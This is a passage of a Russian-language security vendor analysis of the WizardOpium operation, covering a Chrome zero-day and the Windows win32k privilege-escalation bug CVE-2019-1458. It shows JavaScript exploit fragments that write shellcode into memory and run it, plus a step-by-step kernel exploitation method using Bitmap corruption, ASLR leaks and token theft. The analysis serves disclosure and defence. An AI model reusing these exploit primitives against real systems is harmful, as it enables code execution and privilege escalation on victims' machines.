write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));

write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);

write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

Теперь достаточно имплантировать объект Uint8Array в память этого аудиобуфера и поместить туда шелл-код вместе с файлом Portable Executable, который будет выполняться шелл-кодом.

let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);

let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);

payloadArray.set(shellcode, 0);

payloadArray.set(peBinary, shellcode.length);

Чтобы предотвратить возможный сбой, эксплойт очищает указатель до вершины структуры FreeList, используемой PartitionPage.

write64(freelist, partitionPagePtr, BigInt(0));

1	write64(freelist, partitionPagePtr, BigInt(0));

Теперь для выполнения шелл-кода достаточно вызвать экспортированную функцию WASM.

try {
	wasmFuncA();
} catch (e) {}

try {

wasmFuncA();

} catch (e) {}

Эксплойт для повышения привилегий в Microsoft Windows

Шелл-код оказался рефлексивным PE-загрузчиком для модуля, который был также обнаружен в составе эксплойта. Этот модуль в основном состоял из кода для выхода за пределы песочницы Google Chrome, использующего уязвимость компонента ядра Windows win32k для повышения привилегий, а также отвечал за загрузку и выполнение вредоносной программы. При более тщательном анализе выяснилось, что эксплуатируемая ошибка по факту оказалась уязвимостью нулевого дня. Мы уведомили Microsoft Security Response Center, после чего они присвоили ей идентификатор CVE-2019-1458 и затем устранили. У компонента win32k сложилась дурная репутация. Он присутствует в системе еще с Windows NT 4.0 и, по данным Microsoft, в более чем половине случаев оказывается причиной ошибок, связанных с безопасностью ядра. Только за последние два года «Лаборатория Касперского» обнаружила на просторах Сети пять угроз нулевого дня, которые использовали уязвимости win32k. Это довольно интересная статистика, учитывая, что с момента выхода Windows 10 компания Microsoft внесла ряд изменений, усложняющих эксплуатацию уязвимостей win32k, и большинство найденных нами угро нулевого дня эксплуатировали версии Microsoft Windows до выхода Windows 10 RS4. Эксплойт для повышения привилегий, задействованный в операции WizardOpium, предназначался для использования в Windows 7, Windows 10 build 10240 и Windows 10 build14393. Также важно отметить, что в Google Chrome встроена специальная функция безопасности Win32k lockdown, которая предупреждает любые атаки на win32k, отключая доступ к системным вызовам win32k из процессов Chrome. К сожалению, Win32k lockdown поддерживается только на устройствах под управлением Windows 10. Поэтому логично предположить, что операция WizardOpium была нацелена на пользователей Windows 7.

Уязвимость CVE-2019-1458 связана с разыменованием произвольных указателей. В win32k объекты Window представлены структурой tagWND. Также существует ряд классов, основанных на этой структуре: ScrollBar, Menu, Listbox, Switch и прочие. Поле FNID структуры tagWND используется для определения типа класса. Разные классы также имеют различные дополнительные данные, прилагаемые к структуре tagWND. Эти дополнительные данные по большому счету представляют собой разнообразные структуры, часто содержащие указатели ядра. Кроме того, в компоненте win32k доступен системный вызов SetWindowLongPtr, с помощью которого можно задавать эти дополнительные данные (разумеется, после проверки). Стоит отметить, что SetWindowLongPtr в прошлом уже упоминался в контексте других уязвимостей (например, CVE-2010-2744, CVE-2016-7255 и CVE-2019-0859). Существует распространенная проблема, когда предварительно инициализированные дополнительные данные могут привести к некорректной обработке системных процедур. В случае с CVE-2019-1458 проверка, выполняемая в функции SetWindowLongPtr, была просто неэффективна.

xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)
	...
	if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )
		...
		extraData = (BYTE*)tagWND + sizeof(tagWND) + index
		old = *(QWORD*)extraData;
		*(QWORD*)extraData = data;
		return old;

xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)

...

if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )

...

extraData = (BYTE*)tagWND + sizeof(tagWND) + index

old = *(QWORD*)extraData;

*(QWORD*)extraData = data;

return old;

Проверка параметра индекса предотвратила бы эту ошибку, однако до выхода исправления значения для FNID_DESKTOP, FNID_SWITCH, FNID_TOOLTIPS внутри таблицы mpFnid_serverCBWndProc не были инициализированы, что делало эту проверку бесполезной и позволяло перезаписать указатели ядра внутри дополнительных данных.

Вызвать эту ошибку довольно просто: сначала нужно создать объект Window, после чего NtUserMessageCall можно использовать для вызова любой процедуры системного класса Window.

gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

1	gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

Здесь важно указать правильные параметры сообщения и dwType. Сообщение должно быть равно WM_CREATE. dwType изнутри преобразуется в fnIndex следующим образом: (dwType + 6) & 0x1F. Эксплойт использует dwType, равный 0xE0. В результате получается fnIndex, равный 6, который является индексом функции xxxSwitchWndProc, а сообщение WM_CREATE делает поле FNID равным FNID_SWITCH.

LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
...
  pti = *(tagTHREADINFO **)&gptiCurrent;
  if ( wnd->fnid != FNID_SWITCH )
  {
    if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )
      return 0i64;
    if ( msg != 1 )
      return xxxDefWindowProc(wnd, msg, wParam, lParam);
    if ( wnd[1].head.h )
      return 0i64;
    wnd->fnid = FNID_SWITCH;
  }
  switch ( msg )
  {
    case WM_CREATE:
      zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
      break;
    case WM_CLOSE:
      xxxSetWindowPos(wnd, 0, 0);
      xxxCancelCoolSwitch();
      break;
    case WM_ERASEBKGND:
    case WM_FULLSCREEN:
      pti->ptl = (_TL *)&pti->ptl;
      ++wnd->head.cLockObj;
      xxxPaintSwitchWindow(wnd, pti, 0i64);
      ThreadUnlock1();
      return 0i64;
  }
  return xxxDefWindowProc(wnd, msg, wParam, lParam);
}

LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)

{

...

pti = *(tagTHREADINFO **)&gptiCurrent;

if ( wnd->fnid != FNID_SWITCH )

{

if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )

return 0i64;

if ( msg != 1 )

return xxxDefWindowProc(wnd, msg, wParam, lParam);

if ( wnd[1].head.h )

return 0i64;

wnd->fnid = FNID_SWITCH;

}

switch ( msg )

{

case WM_CREATE:

zzzSetCursor(wnd->pcls->spcur, pti, 0i64);

break;

case WM_CLOSE:

xxxSetWindowPos(wnd, 0, 0);

xxxCancelCoolSwitch();

break;

case WM_ERASEBKGND:

case WM_FULLSCREEN:

pti->ptl = (_TL *)&pti->ptl;

++wnd->head.cLockObj;

xxxPaintSwitchWindow(wnd, pti, 0i64);

ThreadUnlock1();

return 0i64;

}

return xxxDefWindowProc(wnd, msg, wParam, lParam);

}

После этого уязвимость в NtUserSetWindowLongPtr можно использовать для перезаписи дополнительных данных под нулевым индексом, указывающим на структуру, которая содержит информацию о Switch Window. Другими словами, уязвимость позволяет задать произвольный указатель ядра, который будет отождествляться с этой структурой.

На текущем этапе достаточно снова вызвать NtUserMessageCall, но на этот раз с сообщением, равным WM_ERASEBKGND. Это приведет к выполнению функции xxxPaintSwitchWindow, которая инкрементирует и декрементирует пару целых чисел, расположенных по указателю, установленному ранее.

sub     [rdi+60h], ebx
add     [rdi+68h], ebx
...
sub     [rdi+5Ch], ecx
add     [rdi+64h], ecx

sub [rdi+60h], ebx

add [rdi+68h], ebx

...

sub [rdi+5Ch], ecx

add [rdi+64h], ecx

Важным условием для активации пути к эксплуатируемому коду является нажатие клавиши ALT.

Уязвимость эксплуатируется за счет использования объектов типа Bitmap. Для успешной атаки несколько объектов Bitmap должны быть размещены в памяти рядом друг с другом, а их адреса внутри ядра должны быть известны. Для этого эксплойт использует две распространенные техники обхода ASLR ядра. В случае Windows 7 и Windows 10 build 10240 (Threshold 1) утечка адресов объектов Bitmap в ядре реализуется с помощью техники GdiSharedHandleTable: в старых версиях ОС на пользовательском уровне доступна специальная таблица, содержащая адреса всех объектов GDI, участвующих в процессе. Эта возможность была устранена в сборке Windows 10 14393 (Redstone 1), поэтому для этой версии эксплойт задействует другую распространенную технику, использующую таблицы акселераторов (исправлена в Redstone 2). Следуя этой технике, нужно создать объект Create Accelerator Table, вычленить его адрес в ядре из массива gSharedInfo HandleTable, доступного на пользовательском уровне, а затем освободить память, выделенную под объект Accelerator Table, и разместить объект Bitmap по тому же адресу в памяти.

Весь процесс эксплуатации уязвимости заключается в следующем: эксплойт создает три расположенных рядом объекта Bitmap, провоцируя утечку их адресов. Затем он подготавливает Switch Window и использует уязвимость в NtUserSetWindowLongPtr, чтобы выдать адрес, указывающий на конец первого объекта Bitmap, за дополнительный массив данных Switch Window. Объекты Bitmap представлены структурой SURFOBJ, и ранее установленный адрес необходимо вычислить таким образом, чтобы функция xxxPaintSwitchWindow инкрементировала поле sizlBitmap структуры SURFOBJ для объекта Bitmap, размещенного рядом с первым объектом. Поле sizlBitmap определяет границы буфера пиксельных данных, а инкрементированное значение позволяет использовать функцию SetBitmapBits() для неограниченной записи и перезаписи структуры SURFOBJ третьего объекта Bitmap.

Поле pvScan0 структуры SURFOBJ является адресом буфера пиксельных данных, поэтому, перезаписав его произвольным указателем, мы получаем примитивы произвольного чтения и записи с помощью функций GetBitmapBits()/SetBitmapBits(). Эксплойт использует эти примитивы для парсинга структуры EPROCESS и кражи токена системы. Для получения адреса в ядре для структуры EPROCESS эксплойт использует функцию EnumDeviceDrivers. Эта функция работает в соответствии с описанием в MSDN и предоставляет список адресов в ядре для загруженных в данный момент драйверов. Первый адрес в списке — адрес ntkrnl, и для получения адреса структуры EPROCESS эксплойт разбирает исполняемый файл, пытаясь найти экспортированную переменную PsInitialSystemProcess.

Стоит отметить, что эта техника до сих пор работает в последних версиях Windows (по результатам тестирования в Windows 10 19H1 build 18362). Кража токена системы — наиболее часто используемая техника эксплуатации уязвимости для повышения привилегий. После получения системных привилегий эксплойт загружает и исполняет саму вредоносную программу.

Выводы

Нам было чрезвычайно интересно изучить эту операцию, потому что это первый эксплойт нулевого дня для Google Chrome, обнаруженный «в диких условиях» за последнее время. Любопытно, что он использовался в сочетании с эксплойтом повышения привилегий, который блокируется в последних версиях Windows функцией безопасности Google Chrome Win32k lockdown. Что касается повышения привилегий, было не менее любопытно обнаружить еще один эксплойт для этой уязвимости всего через неделю после выхода исправления. Это наглядно демонстрирует, насколько легко ее использовать.

Мы хотели бы поблагодарить специалистов по безопасности Google Chrome и Microsoft за оперативное устранение этих уязвимостей. Компания Google предложила щедрое вознаграждение за выявление CVE-2019-13720. Вознаграждение было передано на благотворительность, после чего компания Google сделала аналогичное пожертвование.

Авторы

Эксплойты нулевого дня в операции WizardOpium

Эксплойты нулевого дня в операции WizardOpium

Эксплойт для удаленного выполнения кода в Google Chrome

Эксплойт для повышения привилегий в Microsoft Windows

Выводы

Криптовалютная игра от APT Lazarus: инвесторы против уязвимостей нулевого дня

Драйвер Windows CLFS и пять эксплойтов операторов шифровальщиков (№ 5: CVE-2023-28252)

Драйвер Windows CLFS и пять эксплойтов операторов шифровальщиков (№ 4: CVE-2023-23376)

Драйвер Windows CLFS и пять эксплойтов операторов шифровальщиков (№ 3, октябрь 2022 г.)

Драйвер Windows CLFS и пять эксплойтов операторов шифровальщиков (№ 2, сентябрь 2022 г.)

Кампания EastWind: новые атаки CloudSorcerer на госорганизации в России

CloudSorcerer: новая APT-угроза, нацеленная на российские государственные организации

ToddyCat роет норы в вашей инфраструктуре и крадет секреты

StripedFly: двуликий и незаметный

Азиатские APT-группировки: тактики, техники и процедуры

Последние публикации

Непослушные нейросети и ленивые мошенники

Насущность снижения рисков: как оценка компрометации помогает укрепить киберзащиту

Lumma/Amadey: запусти шелл-код, чтобы доказать, что ты не робот

Криптовалютная игра от APT Lazarus: инвесторы против уязвимостей нулевого дня

Отчеты

Кампания EastWind: новые атаки CloudSorcerer на госорганизации в России

CloudSorcerer: новая APT-угроза, нацеленная на российские государственные организации

ToddyCat роет норы в вашей инфраструктуре и крадет секреты

StripedFly: двуликий и незаметный

Подпишитесь на еженедельную рассылку